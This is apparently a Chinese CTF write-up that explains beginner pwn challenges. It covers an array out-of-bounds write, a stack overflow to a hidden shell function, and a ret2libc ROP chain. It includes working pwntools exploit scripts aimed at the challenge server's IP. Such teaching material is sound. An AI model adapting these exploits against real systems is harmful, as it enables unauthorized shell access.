Asuri平台上简单pwn题的题解

pwn的话一开始确实入门比较困难,学习曲线陡峭是真的,不过只要耐心学习很快也可以入门的,大家加油!

0x01 checkin

题目放上来
题目
可能大家看到nc和后面一堆东西,一上来的反应也是懵的,这里解释一下:

  • ncat 或者说 nc 是一款功能类似 cat 的工具,但是是用于网络的。它是一款拥有多种功能的 CLI 工具,可以用来在网络上读、写以及重定向数据
  • 49.235.243.206代表一个服务器的ip地址,8001是这个服务器上的端口号
  • 所以用nc 49.235.243.206 8001连接到那个服务器指定端口上的程序。

这道题由于是白给题,所以只要在虚拟机中执行,我们就可以拿到它服务器上的shell(相当于windows上的cmd)。后面的pwn题我们是需要分析它可以执行的这个应用程序,寻找漏洞来获得shell的。

解答
拿到shell以后ls列出当前目录下文件,我们发现了一个flag文件,这正是我们想要的。所以再cat flag查看文件里的内容就可以了。

0x02 array

分析题目

这道题我们已经不能通过直接nc来获得shell了,但是我们有个这个程序的二进制文件,于是我们可以用ida打开这个文件
题目
可以看到左边有一个函数窗口,右边是汇编代码。一般我们为了快速分析程序的逻辑会首先在函数窗口中选main函数,然后按f5,结果如下:
伪代码
只要我们执行system(“/bin/sh”)我们就可以拿到shell现在思考我们怎样才能让程序执行这个函数,我们注意到:

  • v7!=99的时候我们可以拿到shell,但是v7被初始化为了99,其它地方好像也没有改v7的操作。
  • 注意到有一个read函数(虽然它叫read但它实际的作用是写),第一个参数代表写入,第二个参数是要写入的地址,第三个参数代表写入多少个字节。这个函数的意思是,我们可以修改距离v5这个地址v4个字节地方的数据。
  • 所以我们可以把v4设为v7和v5在内存之中的距离,这样我们就可以修改v7中的数据让其不等于99,成功拿到shell了。

    寻找偏移

    偏移
    在ida中点击v5这个变量,发现他在-0x10这个位置(注意这是16进制),再看v7在-0x1这个位置,他们之间的距离差了15。

    利用漏洞

    先输入15,将v4置为15,然后随便输入一个数字就可以把v7修改掉。
    结果

    0x03 easystack

    其实说栈溢出才是pwn真正的入门题目

    分析题目

    题目
  • 只有一个read函数可以向buf中输入0x64个字节的数据
  • 好像没有system(“/bin/sh”)函数?
  • 发现在函数窗口中有一个sub_4006CD其实是个system(“/bin/sh”)函数。

如何利用

如何调用一个程序原本不会执行的函数,这涉及到一个概念叫做返回地址
比如main函数调用一个fun函数的话程序首先会把main函数中当前执行指令的位置保存在内存中的某一个地方,然后再跳转到fun函数中执行,当fun函数执行完毕以后程序就会跳回刚才保存的地址的位置。这个被保存的地址就叫做返回地址。
我们可以通过修改main的返回地址,使得程序执行完main函数以后跳转到sub_4006CD这个函数去执行。
想深入了解栈溢出的过程的话还是要看王爽的《汇编语言》或者南大袁春风的慕课计算机系统基础
这里给一个参考资料,但是需要一定汇编基础。手把手教你栈溢出从入门到放弃

这个题能做出来的话,阶段性的招新赛和校赛基本上就可以做出几道pwn题了。

寻找buf与返回地址的偏移

方法有很多种,这里介绍最简单的一种
偏移
r就是那个返回地址,位置在+0x8的位置,buf在-0x10的位置,所以偏移是24

编写利用脚本exp

1
2
3
4
5
6
7
8
9
10
from pwn import *                   #引入pwntools库
sh = remote('49.235.243.206',8003) #创建与靶场服务器的连接

offset = 24 #偏移
sub_4006CD_addr = 0x4006CD #函数地址

payload = offset*'a' + p64(sub_4006CD_addr) #构造攻击数据

sh.sendline(payload) #向程序发送数据
sh.interactive() #将控制流从程序转移到自己这里

然后执行脚本python exp.py
结果
利用成功!

0x04 easyrop

具体参考资料题目上写的很清楚,这里就给个利用脚本,大家可以看下自己哪里错了,动态调试一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
from LibcSearcher import LibcSearcher
#sh = process('./pwn')
sh = remote('49.235.243.206',8004)
elf = ELF('./pwn')

write_plt = 0x400530 #write的got表地址
write_got = elf.got['write'] #write的plt表地址
main_addr = 0x400580
pop_rdi = 0x400773 #pop_rdi_ret
pop_rsi_r15 = 0x400771 #pop_rsi_r15_ret

payload =''
payload += 'a'*24
#设置rdi为1
payload += p64(pop_rdi)
payload += p64(1)
#设置rsi为write的got表地址
payload += p64(pop_rsi_r15)
payload += p64(write_got)
payload += p64(0xdeadbeef)
#rdx可以不用设,因为上一个read函数已经设好了,只要大于8就行
#调用write函数,返回到main函数
payload += p64(write_plt)
payload += p64(main_addr)

sh.recvuntil('easy_rop')
sh.sendline(payload)
write_addr = u64(sh.recvuntil('easy_rop')[0:8])

#libc装载到内存时是整体装载的,所以libc函数之间的偏移是不变得
#但是不同版本的libc函数之间的偏移是不一样的,所以我们需要泄露一个libc函数地址来确定libc版本
libc = LibcSearcher('write',write_addr)
libcbase = write_addr - libc.dump('write')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
#调用system('/bin/sh')
payload =''
payload += 24*'a'
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)

sh.sendline(payload)
sh.interactive()
-------------本文结束感谢您的阅读-------------
+ +